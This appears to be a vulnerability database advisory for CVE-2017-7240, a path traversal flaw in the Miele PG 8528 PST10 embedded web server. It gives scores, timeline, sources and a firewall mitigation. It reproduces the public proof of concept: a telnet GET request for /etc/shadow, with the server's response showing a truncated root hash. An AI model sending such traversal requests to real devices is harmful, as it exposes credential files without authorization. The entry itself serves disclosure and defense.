Miele Professional PG 8528 PST10 Embedded Web Server path traversal

CVSS Meta Temp Score
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CTI Interest Score
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6.1$0-$5k0.00

A vulnerability was found in Miele Professional PG 8528 PST10 (affected version not known). It has been classified as critical. Affected is some unknown functionality of the component Embedded Web Server. The manipulation with the input value /../../../../../../../../../../../../etc/shadow leads to a path traversal vulnerability. CWE is classifying the issue as CWE-22. The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. This is going to have an impact on confidentiality. CVE summarizes:

An issue was discovered on Miele Professional PG 8528 PST10 devices. The corresponding embedded webserver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack; therefore, an unauthenticated attacker may be able to exploit this issue to access sensitive information to aide in subsequent attacks. A Proof of Concept is GET /../../../../../../../../../../../../etc/shadow HTTP/1.1.

The bug was discovered 11/16/2016. The weakness was published 03/24/2017 by Jens Regel as not defined mailinglist post (Full-Disclosure). The advisory is shared for download at seclists.org. This vulnerability is traded as CVE-2017-7240 since 03/23/2017. It is possible to launch the attack remotely. The exploitation doesn't require any form of authentication. Technical details and a public exploit are known. The current price for an exploit might be approx. USD $0-$5k (estimation calculated on 08/04/2024). The MITRE ATT&CK project declares the attack technique as T1006. This vulnerability has a historic impact due to its background and reception.

A public exploit has been developed by Jens Regel in HTTP GET Request and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 128 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

~$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character ist '^]'.
GET /../../../../../../../../../../../../etc/shadow HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 16 Nov 2016 11:58:50 GMT
Server: PST10 WebServer
Content-Type: application/octet-stream
Last-Modified: Fri, 22 Feb 2013 10:04:40 GMT
Content-disposition: attachment; filename="./etc/shadow"
Accept-Ranges: bytes
Content-Length: 52

root:$1$$Md0i[...snip...]Z001:10933:0:99999:7:::

It is possible to mitigate the weakness by firewalling tcp/80 (Web Services).

The vulnerability is also documented in the databases at Exploit-DB (41718) and SecurityFocus (BID 97080†). Further details are available at theregister.co.uk.

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CVSSv3info

VulDB Meta Base Score: 6.4
VulDB Meta Temp Score: 6.2

VulDB Base Score: 5.3
VulDB Temp Score: 4.9
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 7.5
NVD Vector: 🔍

CVSSv2info

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VulDB Base Score: 🔍
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Exploitinginfo

Class: Path traversal
CWE: CWE-22
CAPEC: 🔍
ATT&CK: 🔍

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Jens Regel
Programming Language: 🔍
Download: 🔍

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OpenVAS ID: 804587
OpenVAS Name: Miele Professional PG 8528 Directory Traversal Vulnerability
OpenVAS File: 🔍
OpenVAS Family: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
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Countermeasuresinfo

Recommended: Firewall
Status: 🔍

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Firewalling: 🔍

Timelineinfo

11/16/2016 🔍
12/03/2016 +17 days 🔍
03/23/2017 +110 days 🔍
03/24/2017 +1 days 🔍
03/24/2017 +0 days 🔍
03/24/2017 +0 days 🔍
03/24/2017 +0 days 🔍
03/24/2017 +0 days 🔍
03/24/2017 +0 days 🔍
08/04/2024 +2690 days 🔍

Sourcesinfo

Advisory: seclists.org
Researcher: Jens Regel
Status: Not defined

CVE: CVE-2017-7240 (🔍)
SecurityFocus: 97080 - Miele Professional PG 8528 CVE-2017-7240 Directory Traversal Vulnerability

scip Labs: https://www.scip.ch/en/?labs.20161013
Misc.: 🔍

Entryinfo

Created: 03/24/2017 07:01 PM
Updated: 08/04/2024 11:39 PM
Changes: 03/24/2017 07:01 PM (60), 04/19/2017 10:42 AM (19), 11/15/2022 09:56 AM (14), 08/04/2024 11:39 PM (16)
Complete: 🔍
Cache ID: 18:417:40

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